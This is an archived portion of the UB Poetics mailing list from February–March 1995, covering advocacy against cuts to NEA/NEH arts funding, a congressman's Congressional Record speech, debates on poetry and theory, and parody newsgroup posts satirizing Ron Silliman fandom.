"In San Diego County, the San Diego Opera Company and the San Diego Symphony provide opportunities for kids to attend the opera and symphony concerts. The opera regularly goes out to schools with ensemble performances. San Diego's recipients of arts funding range from elementary schools and universities to KPBS public radio and TV to the Samahan Philippine Dance Company and the Centro Cultural de la Raza to the Balboa Park Museums and the Old Globe Theater, groups representing the entire population of San Diego County. TheatreForum, an international theater magazine published at UCSD; the renowned La Jolla Playhouse whose productions go on to thrill audiences on Broadway and in the rest of the country; an international festival at locations on both sides of the border between San Diego and Tijuana, Mexico; graduate internships at the Museum of Photographic Arts; touring exhibitions from the Museum of Contemporary Arts in San Diego. I could go on and on. These and hundreds of other art forms are advanced by arts funding in San Diego County." (from the Congressional Record, p. H2218)

PROPOSED RESCISSIONS

The House Appropriations Interior Subcommittee (Ralph Regular, R-OH, chair) approved a recision package that included a significant cut to FY 95 funding for the NEA and NEH.

The figures we've seen indicate that if the proposed recisions are approved, the NEA cut will be $1m (administrative) and $4m (program), with the bulk of program-budget reductions targeted toward individual artist grants.

On 16 February, some members of this Subcommittee (only 7 of the 14 actually) had heard testimony from Rep. Amo Houghton (R-NY), a supporter of the

NEA/NEH; Richard J. Franke, chairman of the John Nuveen Company and a past chairman of the Illinois State Humanities Council; David McCullough; Ken Burns; and Clay S. Jenkinson, "noted for his scholarly impersonations of Thomas Jefferson at NEH sponsored Chautauquas" [!].

SENATE EDUCATION, ARTS AND HUMANITIES SUBCOM

[note: what follows is redacted from a National Campaign for Freedom Expression summary of 23 February activity]

Among those who testified were:

*Christover Reeves, actor and President of the Creative Coalition, who reportedly called for creating a "real endowment" by setting aside a portion of the NEA's budget over the next 7 years with the intention of creating an endowment base that could be supplemented by private 2-to-1 matching funds. Reeves argued that this timed phase-out of taxpayer support would decrease the hostile "politicization" of cultural subsidies. Harold Williams (president of the J. Paul Getty Trust) and others testified that reaching the $3-3.5 billion base necessary to generate $167m annually was an unrealistic 7-year goal.

*Leonard Garment (lawyer, former advisor to Nixon, co-chair of the 1990 Independent Commission mandated by Congress to review the NEA) proposed consolidation of the Endowments: one chair, a deputy for arts and one for humanities, and a council appointed by various elected officials that would include the President and Speaker of the House. The restructured Endowment would not grant individual artist grants, Only institutions of "national stature" would be directly supported, with block grants going to smaller institutions.

*George White (NEA National Council Member and founder/president of the Eugene O'Neill Theater Center) and Senator Christopher Dodd (D-CT and subcom member) proposed to change copyright laws to supplement the Endowments' budgets. The proposal would permit the government to auction literary and artistic works after their copyrights expire, with proceeds routed to the NEA.

Note: We have heard White speak about this copyright idea but still don't quite understand what he has in mind. This NCFE account doesn't clarify matters much. An Associated Press report on the Subcomittee hearing summarized White's position as follows: "He proposed extending copyrights on such things as plays and music, with revenue from the added royalties going at least partially to support the NEA and its sister agency, the National Endowment for the Humanities" (23 Feb).

Others who testified on 23 February included: Mayor Joseph P. Riley, Jr. of Charleston, South Carolina; John D. Ong, BF Goodrich Company; Richard S. Gurin, Binney and Smith Inc.; Dean Amhaus, Wisconsin Arts Board; Leonard

German, Mudge Rose Guthrie Alexander and Ferdon, on behalf of the Independent Commission on the Arts; Laurence Jarvik, Ctr for the Study of Popular Culture; and Charles T. Clotfelter, Duke University.

AMERICAN ARTS ALLIANCE WEB & GOPHER SITES

AAA has created an "advocacy homepage" accessible on the World Wide Web at URL addresss http://www.tmn.com/Oh/Artswire/www/aaa/aaahome.html or through the Arts Wire gopher (gopher.tmn.com, menu item #5). You do not need to subscribe to Arts Wire in order to access the latter gopher site. Among the tools available at these sites are easily downloadable sample letters.

NCFE/NAAO POSTCARDS

The National Campaign for Freedom of Expression and National Association of Artsists Organizations have been supplying postcard sheets since 1 February 1995. They report that 25,000 sheets (3 card each) have been distributed so far and an additional 40,000 are currently in production. Distribution copies can be obtained from NCFE at [redacted] or NAA0 at [redacted]. Steven Johnson at NCFE can provide further information ([redacted]).

DAY OF CAMPUS ACTION AGAINST CONTRACT ON AMERICA

Organized by the Center for Campus Organizing. The stated objectives of this day of action are: 1) to save student aid and increase funding for education; 2) preserve pro-environmental regulations; 3) protect and extend women's rights; 4) defend the rights of poor people and end poverty; 5) prevent the scapegoating of immigrants; 6) resist the attacks on gays, lesbians, and bisexuals.

What follows is an excerpt from CCO's "call to action" <full copy available upon request>

> *I. The Call*
>
> *The "Contract With America" currently under consideration in Congress purports to advance economic opportunity and make government more accountable and responsible to the people. After learning about the details of the Contract, we question the sincerity of these goals. In recent weeks we have heard about proposals which would:*
>
> *o deny many young people the opportunity to attend college*
> *o punish the poorest people for their economic status*
> *o undo decades of efforts to reduce racism and other forms of discrimination, and*
> *o allow big business to evade social and environmental responsibility.*
>
> *Congressional forces who won the last election claim to be acting on these measures IN OUR NAME.*

> *However, this slim electoral victory is no automatic mandate to enact mean-spirited laws that were disguised during the election campaign.*
>
> *We must make it clear that if these measures are enacted, it will be WITHOUT OUR CONSENT.*
>
> *A Contract we never signed is not a Contract with America; it is a Contract on America.*
>
> *We, the undersigned, therefore call for a National Day of Campus Action Against the "Contract With America" on March 29, 1995.*
>
> *We call for students, faculty, and staff organize forums, rallies, pickets, teach-ins, direct action or other activities on March 29 to educate their campuses and communities, and to build resistance to the reactionary agenda of social inequality and environmental disregard proposed in the Contract.*

****

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Freely Espousing is an ongoing project aimed at protecting and further democratizing access to the arts, humanities, broadcast media, and emerging forms of communication. For more information, please contact:

Steve Evans & Jennifer Moxley
61 E. Manning St., Providence RI 02906-4008
[redacted]

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478. Sheila Murphy
Fwd: Re: Thoughts About Engag...
Tue 28 Feb 1995

Forwarded message:
Subj: Re: Thoughts About Engagement
Date: 95-02-28 00:17:44 EST
From: SEMAZ
To: [redacted]

And expand they should. But with the usual pendulum effect, things swish far in one direction. I find theory and discussion enriching at least, yet feel concern about any climate that would seem to dictate that a writer who is real,

concerned, or whatever must become a full service provider of the range of thought services.

Sometimes, when in the midst of discussion, I begin to want to find a poem. Perhaps simply a bout of longing that could be dismissed as discourageable emotion or hunger for a different thing.

Sheila

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479. Ron Silliman
Bob Filner & NEA $$
Tue 28 Feb 1995

Bob Filner, the lone Democrat from the San Diego region, made a speech on behalf of the NEA in Congress on Friday. Herewith, as reported in the Congressional Record, is what he said:

The SPEAKER pro tempore (Mr. Bateman). Under a previous order of the House, the gentleman from California [Mr. Filner] is recognized for 5 minutes.

Mr. FILNER. Mr. Speaker and colleagues, I rise today in support of continued Federal funding for the National Endowment for the Arts , the National Endowment for the Humanities, the Institute for Museum Services and the Corporation for Public Broadcasting. To be or not to be civilized; that is the question, Mr. Speaker.

A civilized society must include art and cultural enrichment, and it is one of the responsibilities of government to support that aspect of our civilization. We get what we pay for. We cannot rely solely on the good will of a relatively few private individuals to fund the arts --it is the duty of us all.

This Nation's investment in the arts is one of the best we make. For example, the approximately $2 million in Federal funding for the NEA, NEH, and IMS that goes to my county in California, San Diego County, is matched by nearly four times that amount in local contributions. This is a perfect example of public-private partnership. The Government's funding stimulates local giving to the arts which in turn stimulates local economies.

According to a recent study commissioned by the California Arts Council, nonprofit art organizations contribute some $2.1 billion annually to California's economy, generate $77 million in tax revenue, and create some 100,000 jobs. Yes, the arts are important to the State economy of California, and to other States as well. Business Week says that Americans spent $340 billion on entertainment in 1993.

Critics tell us that the arts are only for the elite. Nothing could be further from the truth. Audiences and participants alike are people from all walks of life. Nearly 40 million tickets were sold last year to theater, music, and dance performances. Nielsen-rating figures show that 56.5 percent of households watching PBS programs earn less than $40,000 a year. And a USA Today/CNN/Gallup poll showed that 76 percent of respondents thought the Government should continue to fund public broadcasting. Exposure to the arts is especially important for our children. If our young people can be motivated, thrilled, enriched, and `turned on' by exciting experiences in theater, painting, pottery, or dance, they will be less likely to `turn on' to drugs or gangs to fill their empty hours and empty souls.

Barbra Streisand, in a speech at Harvard University earlier this month, told how participation in the choral club at her Brooklyn high school was the beginning of her career--and she urges more support for the arts , not less. She asks how we can accept a country which has no orchestras, choruses, libraries, or art classes to nourish our children. How many more talents like Barbra Streisand's are out there, whom we will lose when there are no programs to challenge them?

In San Diego County, the San Diego Opera Company and the San Diego Symphony provide opportunities for kids to attend the opera and symphony concerts. The opera regularly goes out to schools with ensemble performances.

San Diego's recipients of arts funding range from elementary schools and universities to KPBS public radio and TV to the Samahan Philippine Dance Company and the Centro Cultural de la Raza to the Balboa Park Museums and the Old Globe Theater, groups representing the entire population of San Diego County. TheatreForum, and international theater magazine published at UCSD; the renowned La Jolla Playhouse whose productions go on to thrill audiences on Broadway and in the rest of the country; an international festival at locations on both sides of the border between San Diego and Tijuana, Mexico; graduate internships at the Museum of Photographic Arts ; touring exhibitions from the Museum of Contemporary Arts in San Diego. I could go on and on. These and hundreds of other art forms are advanced by arts funding in San Diego County.

Even so, among all First World nations, the United States now spends the least on Federal arts support per citizen--and we are thinking of reneging on that support. If we say no to culture, we will prove, in the words of Los Angeles Philharmonic managing director Ernest Fleishmann, that `we are the dumbest Nation on the planet.'

According to the General Accounting Office, the Department of Defense plans to spend $9 billion over the next 7 years building nuclear attack submarines

that the Pentagon admits it does not need. That $9 billion could sustain the Arts and Humanities endowments at current levels for 26 years. 26 years of National Public Radio, Big Bird, music and art for kids--or superfluous subs for the Pentagon. Is this a difficult choice?

If we defund the NEA, the NEH, the IMS and PBS, we will be telling the world that we no longer take pride in our theaters, our educational children's programs, our museums, our dance companies, our poets, ourselves.

Ultimately, we are judged by the heritage we leave our children. I hope we leave them more than soap operas and talk shows, attack submarines and assault rifles, gangs and drugs!

Yes, Mr. Speaker, to be or not to be civilized; that is the question.

Randy "Duke" Cunningham (as he's listed in all the House directories), the GOP member who will chair the authorization subcommittee that will consider the fate of the NEA, has the district next to Filner's. So Filner can be a key allie. He & Cunningham may be mortal enemies, but he ought to know how best to turn up the heat on him on this issue. Steve & Jennifer, Jerry & Michael & Rae, take note & take action!

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480. Chris Stroffolino
Re: PBS
Tue 28 Feb 1995

Hey ROn--this PBS thing almost TOPS your "MICROSOFT BUYS CATHOLIC CHURCH" thing---thanks, I'm gonna distribute it to my class tomorrow. Chris Stroffolino

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481. Gary Sullivan
Re: Thoughts About Engagement
Tue 28 Feb 1995

On Monday, February 27, James Sherry wrote:

> *From my point of view the question arose about 20 years ago in response to the New Criticism's perspective, which you and Spencer have affinity for although not congruence with, that only the poem in itself is a valid carrier of meaning. Several dozen people have been workingfor 20 years to expand the view. James*

Dear James,

Please don't misread Sheila & Spencer's posts. Neither said *only* the poem is a valid carrier of meaning. Closer would be: The poem is the *primary* carrier of meaning. They're saying much more than that; you might take another look. Reducing their concerns, which are fairly complex, to anything equivalent to New Criticism is like dismissing the concerns of the language movement (especially those who write in length about the political value of the work) as those of WPA muralists. Your conclusion above has a nice epigrammatical ring to it, but little more.

More on this later.

Yours,

Gary

↑ Index

482. Mn Center For Book Arts

Re: Fwd: Re: Thoughts About Engag...

Tue 28 Feb 1995

Getting back to what was a topic at the begining of the po/theor discussion, which was about whether every poem had a theory within or behind it, whether poems embodied theory in some way . . .

I think that we are using the term theory loosely, that poetics or philosophy may be what we sometimes mean, even though these are also used more loosely than Aristotle might like. Simply "a body of thinking" might suffice.

I certainly believe that Sheila Murphy & Spencer Selby's work, both of which are supple in movement, fluid in their construction of patterns of sound, and moving in their humanity (there's a loaded term, too), also have, within and behind them, important bodies of thinking. If they value the poems more than such theory or philosophy, that's fine -- I would agree with them, while still in some ways wanting to unlock the thinking to more fully inform, for me, the poems and the world. But I don't think their greater interest in the poems devalues the theory in any way, so I'm not certain if we really have an argument here. Either that, or my response to the issue is relaxing as the time & messages pass by.

Regarding Spencer's frustration at the concentration on power games and spheres of influence in the literary world, I would say that I recognize such things and sometimes also decry them. I've been in situations where I brought to a community I moved to an approach to poetry/poetics which was not present, and helped to build a community of interest. I guess we created a

sphere of influence, and while I thought it was open to anyone, I know and heard there was some resentment from people who felt they weren't invited in. My thinking was that it was the nature of specific concerns which provided the grounding for that sphere or community, and anyone who wanted to think about those concerns, even if they had disagreements, was invited in. But that wasn't always the perception. I've also had the experience of bringing myself to a community, more recently, because of a new job, in which I find almost no outlet for my own concerns about poetry, and I don't feel welcomed by others. We all have stories like this, I am sure. Still, within this sometimes deplorable situation, be it local or international or something in between, I've also managed to find true friends, cooperation, a sense of commonality with many, so that I don't feel as negative about it all as it seems that Spencer does. I don't think the manipulation of spheres of influence is by any means the only story. There is some sustenance as well.

charles alexander

↑ Index

483. **Chris Stroffolino**

Re: Thoughts About Engagement

Tue 28 Feb 1995

Gary's (Sullivan's) defence of Spencer and Sheila's positions as something that need not (should not) be reduced to a simplistic caricature understanding of "New Criticism" is well-taken. How easy is it for so many to mouth an "anti-New Criticism" stance without really knowing what N.C. was---for if the L poets are not a monolith, neither is New Criticism, and so much of the conversation once again becomes a navigating of the alleged "minefield" of the connotations of various movements---be it "New Criticism," the "Pound-Williams line" or the "Apex G2ers"--and this all has the effect of "translating" consciousness (or culture, if you must) into something very "pinball" like... And yes we may well wonder whether the stars are conscious of the constellations we "put them in" and whether that consciousness can be seen as the REASON why they burn out (though of course we don't know they're burnt out yet), and there's probably some reason, some driving urge that should not be ignored, to PLACE OURSELVES, to orient ourselves, through the use of stickfigures. But to claim there's a definite anchor of certainty in such poetic schemas of culture is to not take seriously enough the potential power of reification and idolatry that can habituate identity to a point of barren solipsism. Otherwise, you can surely guess. Chris S.

↑ Index

484. **braman sandra**

Joining the arts community

Tue 28 Feb 1995

Steve and Jennifer mentioned this new web page in their recent long message, but I thought a little more detail might be useful. For those in the poetry community who would like to join with those engaged in other arts around the NEA issue and other issues -- and just to learn what's up in the art world -- ArtsWire is the way to go. They've just added this advocacy section to ArtsWire, acessible to those who aren't members on a web page.

Sandra Braman

> *Advocacy Homepage announced by American Arts Alliance*
>
> *In response to the imminent threat to the survival of the National Endowment for the Arts (NEA), the American Arts Alliance is pleased to announce the creation of an "advocacy homepage" and gopher site accessible to the millions Internet users. The homepage provides advocacy information and tools for arts supporters to communicate the need for continued federal support of the arts to their senators and representatives.*
>
> *This information, which includes our 900 number, a sample letter, NEA facts and general information, greatly advances the the arts community's continuing efforts to generate support for the NEA through local grassroots contacts with elected officials. In addition to educating the public and expanding the base of potentially interested parties, computer users can easily transform the data into a uniquely personal letter to send to their leaders in Washington.*
>
> *The American Arts Alliance is available on the Arts Wire WWW site.*
> *The URL: http://www.tmn.com/0h/Artswire/www/aaa/aaahome.html*
>
> *This information is also available on the Arts Wire gopher:*
>
> *Address: gopher.tmn.com*
> *Once there choose Menu Item #5, Artswire.*
> *At the next menu, select American Arts Alliance*
>
> *For those gopher developers who want to link, here is pertinent path information:*
>
> *Type=1*
> *Name=American Arts Alliance*
> *Path=1/Artswire/www/aaa*
> *Host=gopher.tmn.com*
> *Port=70*

> *The American Arts Alliance*
> *Advocates for the Arts*
> *1319 F Street, NW Suite 500*
> *Washington, D.C. 20004*
> *Phone:* [redacted]
> *Fax:* [redacted]
> *Email:* [redacted]
>
> *Member organizations: American Symphony Orchestra League, Association of Art Museum Directors, Association of Performing Arts Presenters, Dance/USA, Opera America, Theatre Communications Group, representing 2,600 Non-profit Arts Institutions.*
>
> *If you have a link for the arts and cultural advocates page, please contact Beth Kanter, Network Coordinator, Arts Wire at* [redacted].

↑ Index

485. **Robert Drake**

Re: E - speration and Communit - E, (sorr-e)

Tue 28 Feb 1995

> *more and more people are subscribing at present (any figures...*

there are currently 190 people subscribed to poetics; 2 of whom are "consealed". you can get the list by sending the message "review poetics" to the listserv address <[redacted]>. it's handy to have for backchannel (where did that term originate?) communications

lbd

↑ Index

486. **Kali Tal**

Improving community relations in espace....

Tue 28 Feb 1995

Auntie Netiquette says:

One of the easiest things posters can do to make things easier on their readers is to send out posts with very clear subject lines. Most systems allow users to change or revise subject headers; it's worth learning how to do. Outside policing or moderating isn't necessary if folks simply take the time to label their contributions accurately. For example, the following subject headers are both specific and informative:

CONFERENCE: First Annual Such-and-such meeting.

CALL FOR PAPERS: New anthology of Lang Po

NEA INFO: Latest Gingrich horror

ANTI-HEGEMONY PROJECT: Poetics list takes toll...

Discussion thread headers like

Boytalk

E - speration and Communit - E

Theory

are also really useful *if* people stick to the thread while using thread headers. It's a good idea to *change* the thread if you change the subject, for example:

"Tone" in Espace (was: Boytalk)

Clearly identifying subject lines allow those with limited time to delete stuff they aren't interested in without taking the time to open the message and without fear of missing something they *are* interested in.

My two cents,
Kali

_____

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

↑ Index

487. Belle Gironda
WARNING
Tue 28 Feb 1995

W = A = R = N = I = N = G

A toxic spill of Lang-Po Labs' Simulac infant formula caused a linguistic disturbance in Cyberspace this past Valentine's Day and some Newsgroups appear to have been affected. As a result of this disturbance mutation in the language is expected. If you suspect that a message sent to your account has been tainted

contact authorities at The Anti-Hegemony
Project immediately.

DO NOT READ TAINTED MESSAGES.

Rest assured we are working on the problem.

↑ Index

488. **Kali Tal**
Origin of term "backchannel"
Tue 28 Feb 1995

> *backchannel (where did that term originate?)*
> *communications*
>
> *lbd*

I picked up the term on the VWAR-L, a list populated by many military veterans as well as a certain percentage of wannabe veterans, fake vets, and interested others. It was the first place I ever heard it, though everywhere I've used it, it's been picked up immediately because people like it (I like it; that's why I use it). My in-house military consultant (business partner Steve Gomes, a Desert Storm-era vet) says it's a faux-military term based on the notion of switching to an alternate frequency, off the "command channel" or public frequency. What makes it useful, I think, is that it emphasizes that there are "lines" or "channels" of communication in espace, different "frequencies" which are accessible to different audiences.

Kali

_____

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
18 Center Rd., Woodbridge, CT 06525
203/[redacted]; fax 203/[redacted]
email: [redacted]

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489. **aa1464**
SILLIMAN IN MY LIFE
Tue 28 Feb 1995

Rating: PG13 <poetic guidance for readers over 13 suggested>
From: [redacted] (Donald Jaybird)
Newsgroups: alt.fan.silliman

Subject: Silliman in my life...
Date: 14 Feb 99 22:22:22
Organization: The Anti-Hegemony Project
Lines: 23

I just thought I'd put just my opinion of silliman He totally excites me and I am always looking forward to what he'll do next....no matter what he does I like. Does anyone know if the Bay Area book awards will be broadcast on Pacifica and when? I predict he will give readings in the early fall of 2000. I saw the Ear Inn show in New York City..It was increadible and unreal... I paid 85 bucks for my share of the dinner after...but it was worth it! WHAT came as a shock to me...I saw Toner in Sulfur and flipped out...I LOVE paradise ...and lit...and ABC and hell the whole damn alphabet....It really bugs me when people put him down...they are just jealous and ignorant.....I'm looking forward to what he does next!

"To be a poet in this society is to become, however marginally, a projected (if not hallucinated) social object" -- R.S.

```
___
  ('<            Donald Jaybird
 ,',)              [redacted]
''<<
---""---
```

↑ Index

490. **aa1464**

Re: going somewhere?

Tue 28 Feb 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (The Kitmeister)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Re: going somewhere?*
> *Date: 14 Feb 1999 15:15:15*
> *Organization: The Anti-Hegemony Project*
> *Lines: 18*
>
> *[redacted] wrote:*
> *: All of you people who like Sillman are going straight to hell. How can you*
> *: support such filth as some kind of God? It seems as though you people have*
> *: a lot of repenting to do. burn silliman. Burn Silliman!!!!!*
> *: Lew*
> *: SUNY Buffalo*

This is the same sort of unmitigated bullshit that we heard last year after the L.A. earthquake where these pathetic bible thumpering losers stated that the quake was God's way of punishing a city full of sinners. I guess by their standards the San Fernando valley area has more sinners than, say, West Hollywood or other areas of the city, since the Valley areas were hit so much hard than the rest of the L.A.

So you pathetic, judgemental, semi-literate hypocrites; get a life and get grip on something besides your bibles and your tiny little dicks. ;-)~

↑ Index

491. **aa1464**

Re: what is this terrorism thing?

Tue 28 Feb 1995

Rating: PG13 <poetic guidance for readers over 13 suggested>
From: [redacted] (Juliana Spar)
Newsgroups: alt.fan.silliman
Subject: Re: what is this terrorism thing?
Date: 14 Feb 1999 12:12:12
Organization: The Anti-Hegemony Project
Lines: 20

In <??????????> [redacted] (Erik Pope) writes:

I am normally a Silliman fan to the max, but I think I am slipping. What is the story on him and Lyn Hejinian being terrorists? What was his comment? Can anyone help?
-Erik

Absolutely Nothing.....

"Once the rumor is started, the truth is a thing of the past..."
Apparently some disgruntled poet who heard about the Russia trip made the comments that Ron and Lyn were degrading humanity and should be sent to Pakistan to be dealt with by this terrorist group. Garbage and more. Quit listening to everything you hear. The media is so warped especially where Silliman is involved. Probably an Andre Codrescu plant anyway...

See Ya
Juliana

↑ Index

492. **aa1464**
Re: What Silliman Really Likes?
Tue 28 Feb 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Tom Mundel)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Re: What Silliman Really Likes?*
> *Date: 14 Feb 1999 09:09:09*
> *Organization: The Anti-Hegemony Project*
> *Lines: 16*
>
> *In article <??????????>,*
> *Robert Keely <[redacted]> wrote:*
>
> > *And in _Ketjak_ there is an enigmatic "confession" that goes like:*
>
> *In the middle of a blow job, she puked. (p. 84)*
>
> > *Is he saying that his girlfriend got sick on his cum? :-)*
>
> *Silliman is not saying anything. That's Ketjak, a fictional character, speaking.*
>
> *--*
> *T O M ! ! | "Sex is like bridge: If you don't have a good partner*
> *tmundel | you better have a good hand"*
> *@alas.poor.yorick.ahp | - Buber*

↑ Index

493. **aa1464**
Re: Olson bashing is just as bad as Silliman bashing
Tue 28 Feb 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Bob Pearlman)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Re: Olson bashing is just as bad as Silliman bashing*
> *Date: 14 Feb 1999 03:03:03*
> *Organization: The Anti-Hegemony Project*
> *Lines: 25*
>
> *[redacted] (Ray Armensling) wrote:*
>
> *Marjorie, I love Silliman and his art...but I also admire Charles Olson.*

> *As a*
> *matter of fact I think the two are very much alike. Please, let's not bash*
> *anyone or anything.*
>
> *What? Arrrrrrrgh! Other than being controversial and famous, Silliman is*
> *nothing like that sexist, ranting, overgrown pumpkin head. Excuse me*
> *while I go puke.*
>
> *i agree! they are in no way alike! just look at that pig's weight!!!*
> *oink!! oink!! and talk about ignorance, he's the king!*
>
> *-bp*

↑ Index

494. **aa1464**

Re: media's LOVE/HATE silliman problem

Tue 28 Feb 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: Michael Bone <[redacted]>*
> *Newsgroups: alt.fan.silliman*
> *Subject: Re: media's LOVE/HATE silliman problem*
> *Date: 14 Feb 1999 24:24:24*
> *Organization: The Anti-Hegemony Project*
> *Lines: 17*
>
> *Hi All*
> *I know Im gonna get killed for this, but not everything Silliman does is wonderful, and sometimes he deserves to be bashed (i.e. Messerli feud, remarks about younger poets, boring insistence on prose, the entire 70's marxist thing) It was so funny after the Buffalo reading and everyone was saying how wondeful his performance was. It was awful people, he was out..out of touch, undergrads were streaming out of there. Yes he is human. I like the Silliman weve been seeing lately a lot better than his earlier phase. Id really love him to go on with the humorous closely observed writing like What, but Oh well. Th epress has been rather nice to him lately, almost every one gave What rave reviews, adn the science fiction writer Samuel Delany even mentioned Silliman in a novel. I thought that was neat*
>
> *Mike*

↑ Index

495. **aa1464**
Re: media's LOVE/HATE silliman problem
Tue 28 Feb 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Bjork Wallace)*
> *Subject: Re: media's LOVE/HATE silliman problem*
> *Organization: The Anti-Hegemony Project*
> *Date: 14 Feb 1999 21:21:21*
> *Lines: 14*
>
> *Steven Roadclif ([redacted]) wrote:*
> *: [redacted] wrote:*
>
> *: : when will the hate-Silliman bandwagon end?*
> *: : are we stuck with it "for good" or just for "now and then"?*
> *: I'd say forever - it's been this way since the beginning. But there are*
> *: almeliorative measures you can take, like cancelling your subscription to*
> *: rags like Poetry Flash.*
>
> *That's what I did last year. I wrote them a letter stating I was tired*
> *of the language bashing.*
> *--*

↑ Index

496. **aa1464**
*Re: I *TOUCHED* what! :)*
Tue 28 Feb 1995

> *Rating: PG13 <poetic guidance for readers over 12 suggested>*
> *From: [redacted]*
> *Newsgroups: alt.fan.silliman*
> *Subject: my bizzare Silliman dream*
> *Date: 14 Feb 99 18:18:18*
> *Organization: The Anti-Hegemony Project*
> *Lines: 15*
>
> *I was either reading Tjanting in an airport (strange since I haven't actually*

> *even seen this book). It was a really difficult text, and there were rhymed parts to it like a Charlie Bernstein piece. I think the poem had the f-word and the word love in it a lot. The airport was designed in a Russian sort of way with old people selling flavored vodka out of shopping carts*
> *The really strange thing about this dream is how Silliman looked on the cover of the book. He had on a dress and I think he had something like glitter in his beard. He had his arms raised in a pose like Patti Smith on the cover of Easter and I saw that like Patti he hadn't shaved his armpits, and the hair was dyed green, like Dennis Rodman. He seemed happy.*
> *Strange dream, eh? Just thought I'd pass that along, and give everyone the chance to play armchair Freud. My analysis: I was thinking about dyeing my hai last night, which is where the unshaved, green armpits come in.*
>
> *-blogna*

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497. **aa1464**

*Re: I *TOUCHED* what! :)*

Tue 28 Feb 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (Chris Strappalino)*
> *Newsgroups: alt.fan.silliman*
> *Subject: Re: I *TOUCHED* What! :)*
> *Date: 14 Feb 1999 12:12:12*
> *Organization: The Anti-Hegemony Project*
> *Lines: 11*
>
> *I have the book and I think it's great. These are by far the best alphebet poems I've seen. I think the best part is the neo-romantic Springsteen Rambo MLA sequence, but I think that the observed detail is more "meaningful."*
>
> *The packaging is great!*
>
> *Can't wait to hear him read.....*
>
> *Please feel free to email me with any questions about the text!*
> *Chris*

↑ Index

498. **aa1464**

*Re: What Cover (was I *TOUCHED* What! :)*

Tue 28 Feb 1995

> *Rating: PG13 <poetic guidance for readers over 13 suggested>*
> *From: [redacted] (MICHAEL HAMNASAN)*

Newsgroups: alt.fan.silliman
*Subject: Re: What Cover (was I *TOUCHED* What! :)*
Date: 14 Feb 1999 15:15:15
Organization: The Anti-Hegemony Project
Lines: 34

In article <??????????>,
STRAPPALINO <[redacted]> wrote:
I have the book and I think it's great. These are by far the best alphebet
poems I've seen. I think the best part is the neo-romantic Springsteen
Rambo MLA sequence, but I think that the observed detail is more
"meaningful."

The packaging is great!

Can't wait to hear him read.....
Chris

Thanks to SPD, I finally got my very own What :) I have been waiting for th
since I heard RS perform it. I thought then that this is thebest volume of th
it stood out as the most sincere (for Silliman at least). I couldn't believe
someone on this newsgroup said that What will be the next book! When I saw it
I was disappointed with what Geoff Young did to it (but that was only my initi
Now that I've seen all the covers, I'm still kind of disappointed because no
of them kept the freak-y feel of the poems (I guess you need R. Crumb for that
heavy arty-productions with a strong cerebral feel to them. I agree with you
Springsteen is more meaningful but still isn't.
Anyway I'm really happy that Silliman chose this letter to go all out and pr
this cool package for. But I wonder if it's going to do well here in the US.
definitely going to be read at universities, but reputation-wise I'm not sure
book is very America-oriented and a quick glance at the poetry scene shows wha
American public likes. And unfortunatly books by dead white European men like
*d Rosmarie Waldrop, and *JORIS* (which I think is going to knock Silliman off*
pretty soon), are what's hot here. I think that and the fact that the indivi
are doing well is why the whole A-Z is still not released here. And to Sillim
"Don't stop doing what your doing baby," and FORGET the damned scene!!!

Michael.

↑ Index

499. **eric pape**
Throw me something!
Tue 28 Feb 1995

From Louisiana, between riots and debauches, HAPPY MARDI GRAS! On to the Quarter, Eric.

↑ Index

500. **H. T. KIRBY-SMITH**
Language Poetry
Tue 28 Feb 1995

I would be interested to know if the following in any way serves to describe Language Poetry, and, if not, what sort of poetry it might seem to describe--

Experience, already reduced to a group of impressions, is ringed
round for each one of us by that
thick wall of personality through which no real voice has ever
pierced on its way to us, or from us
to that which we can only conjecture to be without. Every one of
those impressions is the
impression of the individual in his isolation, each mind keeping as a
solitary prisoner its own dream
of a world . . . To such a tremulous wisp constantly reforming itself
on the stream, to a single
sharp impression, with a sense in it, a relic more or less fleeting,
of such moments gone by, what is
real in our life fines itself down. It is with this movement, with
the passage and dissolution of
impressions, images, sensation, that analysis leaves off--that
continual vanishing away, that strange,
perpetual weaving and unweaving of ourselves.

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501. **Bill Luoma**
Re: I *TOUCHED* what! :)
Tue 28 Feb 1995

It's true what they say about my armpits.

↑ Index

502. Carla Billitteri
correction
Tue 28 Feb 1995

Subject: AHP Correction on Lean Times Story
Copyright: 1999 by The Anti-Hegemony Project
Date: 31 Feb 99 26:30:13 PST

Lines: 7

LOS ANGELES (AHP) -- In a story yesterday about a study examining how shortages of inspired language and increasing population will affect U.S. poetics production and Americans' diet of subsidized corn porn lyrics, The Anti-Hegemony project erroneously reported the corporate affiliation of a researcher. Marjorie Perloff is employed by Lang-Po Labs, not Arithmetrick Frozen Yogurt Co. Down Under.

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503. Susan Schultz
Re: POETICS Digest - 27 Feb 1995 to 28 Feb 1995
Wed 1 Mar 1995

I'm all in favor of keeping relevant discussions on the one list, but speaking as someone who lives in the middle of the Pacific (though it wouldn't matter where I lived), I'd love to see extended in-jokes put on another list entirely. I promise not to subscribe.

Susan

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504. George Bowering
Re: theory & truth
Fri 3 Mar 1995

There's many a slip 'twixt the theory and the hip.

↑ Index

505. George Bowering
Re: what is this Silliman thing?
Sat 4 Mar 1995

Where did all this excitement about flaming Silliman come from? It's as if he were famous like Prince Charles instead of a poet doing his job and beginning to get known outside the tight citcle. Give him and us a break. He writes and he edits. He aint Prince Charles.

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

March 1995

489 messages · Wed 1 Mar 1995 – Fri 31 Mar 1995

March is the month the dollar loses its nerve, sliding to record lows against the yen and the mark while the newspapers mutter about the end of American arithmetic; it is also the month a doomsday sect releases nerve gas into the Tokyo underground and the word cult acquires, overnight, a new and chemical weight. The list registers neither event head-on, being wholly occupied with a slower emergency of its own devising — whether it is still permitted to read a poem closely, and what, if anything, a poem is finally for.

